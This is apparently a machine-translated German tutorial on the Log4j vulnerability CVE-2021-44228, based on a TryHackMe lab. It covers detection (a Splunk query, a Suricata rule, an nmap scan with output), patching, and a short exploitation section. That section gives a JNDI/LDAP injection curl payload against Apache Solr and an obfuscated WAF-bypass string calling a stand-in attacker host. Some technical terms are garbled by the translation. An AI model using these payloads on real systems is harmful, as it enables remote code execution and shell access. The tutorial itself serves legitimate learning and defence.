Wir haben die Erkennung und Entdeckung der jüngsten Apache Log4j-Sicherheitslücke CVE-2021-44228 sowie deren Ausnutzung, Minderung und Patching demonstriert. Wir haben auch erläutert, wie man die Log4j-Sicherheitslücke mithilfe der neu veröffentlichten Apache-Richtlinien patchen und mindern kann. Wir haben das Material von verwendet TryHackMe Log4j Raum, um Log4j auf Apache Solar zu demonstrieren.
Betroffene Versionen: Apache Log4j2 < 2.15.0
Log4j hat negative Auswirkungen auf viele Hersteller und Komponenten, darunter Google und Apple. Die vollständige Liste finden Sie hier Hier
Holen Sie sich Hinweise zum OSCP-Zertifikat
So erkennen Sie die Log4j-Sicherheitslücke
Log4j kann durch einen regelmäßigen Scan Ihres Netzwerks erkannt werden, das Komponenten mit Java ausführt. Es gibt viele Möglichkeiten, um festzustellen, ob Ihr Netzwerk für Log4j anfällig ist.
- Verwenden von Yara-Regeln
- Verwenden von Splunk-Signaturen
Mit dieser Suchabfrage können Sie nach Payloads suchen, die eine JNDI-Suche enthalten index=* ${jndi:*}
- Verwenden von Erdmännchenregeln
Beispiel ist unten
Alarm http beliebig beliebig -> $HOME_NET beliebig (Nachricht: „FOX-SRT – Exploit – Mögliche Apache Log4J RCE-Anforderung beobachtet (CVE-2021-44228)“; Flow: hergestellt, an_Server; Inhalt: „${jndi:ldap://“; Fast_Pattern: nur; Flowbits: festgelegt, fox.apachelog4j.rce; Schwellenwert: Typlimit, Verfolgung nach_Datum, Anzahl 1, Sekunden 3600; Klassentyp: Webanwendungsangriff; Priorität: 3; Referenz: URL, [http://www.lunasec.io/docs/blog/log4j-zero-day/](http://www.lunasec.io/docs/blog/log4j-zero-day/); Metadaten: CVE 2021-44228; Metadaten: erstellt_am 10.12.2021; Metadaten: IDs suricata; sid:21003726; rev:1;)
- Durch Vergleichen der Hashes anfälliger JAR- und Class-Dateien mit der Liste Hier
- Einsatz von Online-Scannern in Python oder Gehen
- Verwenden von Rülpsen-Suite
- Verwenden der Nmap-Skript-Engine.
Ein Beispiel für die Verwendung von Nmap zum Erkennen von Log4j ist der folgende Befehl
nmap -sV -T4 -v --script=$PWD/ scanme.nmap.org $PWD: ist das Verzeichnis, in dem Sie nmap-Skripte speichernEs ist wichtig, die Datei dnslog.cn nach Abschluss des Scans zu lesen, um die Schwachstelle zu ermitteln. Die Beispielausgabe finden Sie unten dank Diverto
nmap -T4 -v --script=$PWD/ scanme.nmap.org Nmap 7.92 (https://nmap.org) wird am 15.12.2021 um 12:37 MEZ gestartet. NSE: 5 Skripte zum Scannen geladen. NSE: Skript-Vorscan. NSE wird um 12:37 gestartet. NSE wird um 12:37 abgeschlossen, 0,53 s verstrichen. Ergebnisse des Skripts vor dem Scan: | dnslog-cn: | Domäne: 2t722h.dnslog.cn |_ Manuell abrufen: curl --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php Ping-Scan wird um 12:37 gestartet. Scanne scanme.nmap.org (45.33.32.156) [2 Ports]. Ping-Scan um 12:37 abgeschlossen, 0,18 s verstrichen (1 Host insgesamt). Parallele DNS-Auflösung von 1 Host wird um 12:37 gestartet. Parallele DNS-Auflösung von 1 Host abgeschlossen. um 12:37, 1,18 s verstrichen. Connect Scan wird um 12:37 gestartet. Scanne scanme.nmap.org (45.33.32.156) [1000 Ports]. Offenen Port 80/TCP auf 45.33.32.156 entdeckt. Offenen Port 53/TCP auf 45.33.32.156 entdeckt. Offenen Port 22/TCP auf 45.33.32.156 entdeckt. Statistiken: 0:00:23 verstrichen; 0 Hosts abgeschlossen (1 aktiv), 1 wird Connect Scan durchgeführt. Dauer des Connect Scan: Ungefähr 56.00% abgeschlossen; ETC: 12:37 (0:00:16 verbleibend) Offenen Port 9929/TCP auf 45.33.32.156 entdeckt. Offenen Port 31337/TCP auf 45.33.32.156 entdeckt. Connect Scan um 12:37 abgeschlossen, 37,06 s verstrichen (1000 Ports insgesamt) NSE: Skript scannt 45.33.32.156. NSE wird um 12:37 gestartet. NSE wird um 12:37 abgeschlossen, 6,19 s verstrichen. Nmap-Scan-Bericht für scanme.nmap.org (45.33.32.156). Host ist aktiv (0,18 s Latenz). Nicht angezeigt: 995 geschlossene TCP-Ports (Verbindung abgelehnt) PORT STATE SERVICE 22/TCP geöffnet SSH 53/TCP geöffnet Domäne 80/TCP geöffnet HTTP 9929/TCP geöffnet Nping-Echo 31337/TCP geöffnet Ergebnisse des Elite-Host-Skripts: | dnslog-cn: | Liste der Hosts, die geantwortet haben: [] | Manuell abrufen: curl --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php |_ Wenn die Liste nicht leer ist, prüfen Sie die Hosts, da diese möglicherweise anfällig sind. NSE: Skript nach dem Scannen. NSE wird um 12:37 gestartet. NSE um 12:37 abgeschlossen, 0,50 s verstrichen. Ergebnisse des Skripts nach dem Scannen: | dnslog-cn: | Liste der Hosts, die geantwortet haben: [] | Manuell abrufen: curl --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php |_ Wenn die Liste nicht leer ist, überprüfen Sie die Hosts, da diese möglicherweise anfällig sind. Datendateien lesen von: /usr/local/bin/../share/nmap Nmap fertig: 1 IP-Adresse (1 Host aktiv) in 46,11 Sekunden gescannt
So nutzen Sie die Log4j-Sicherheitslücke aus
Zusammenfassend lässt sich sagen, dass die Ausnutzung der Log4j-Sicherheitslücke dadurch erreicht wird, dass das Ziel einen LDAP-Aufruf an einen LDAP-Referrerserver auf Ihrer Seite ausgibt. Der LDAP-Referrerserver leitet diesen Aufruf an einen Webserver weiter, der auf Ihrer Seite ausgeführt werden muss und einen Java-Exploit bereitstellt, der dem Angreifer nach Ausführung auf dem Ziel Shell-Zugriff auf das Ziel verschafft.
Nachfolgend finden Sie Nutzdaten, die Sie zu Ihren HTTP-Anfragen hinzufügen können.
curl 'http://Ziel-IP:8983/solr/admin/cores?foo=$\{jndi:ldap://Ihre-IP:1389/Log4j\}'
Die obige Nutzlast setzt voraus, dass Sie Apache Solr testen. Wenn Sie eine andere Produktlinie von Apache testen, müssen Sie den URL-Pfad ändern, aber der Nutzlastteil bleibt gleich.
So umgehen Sie Web Application Firewalls
Wenn Sie Ihre vorhandenen Sicherheitskontrollen mit Log4j testen möchten, können Sie Ihre Log4j-Nutzlast wie folgt kodieren:
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
So mildern und patchen Sie die Log4j-Sicherheitslücke
Die Schwachstelle von Log4j kann durch das Hinzufügen von zwei Systemeigenschaften gemindert werden, die JNDI-Lookups deaktivieren. Setzen Sie die folgenden Eigenschaften auf TRUE.
log4j2.formatMsgNoLookups
LOG4J_FORMAT_MSG_NO_LOOKUPS
Um die Log4j-Sicherheitslücke zu beheben, aktualisieren Sie auf Version 2.16.0. Ersetzen Sie die Core-JAR-Dateien durch die vorhandenen JAR-Dateien auf Ihrem System. Besuchen Sie Apache-Downloadseite um die neueste Version von Log4j abzurufen.
Weitere Einzelheiten zu den oben genannten Punkten finden Sie in den folgenden Walkthrough-Videos.
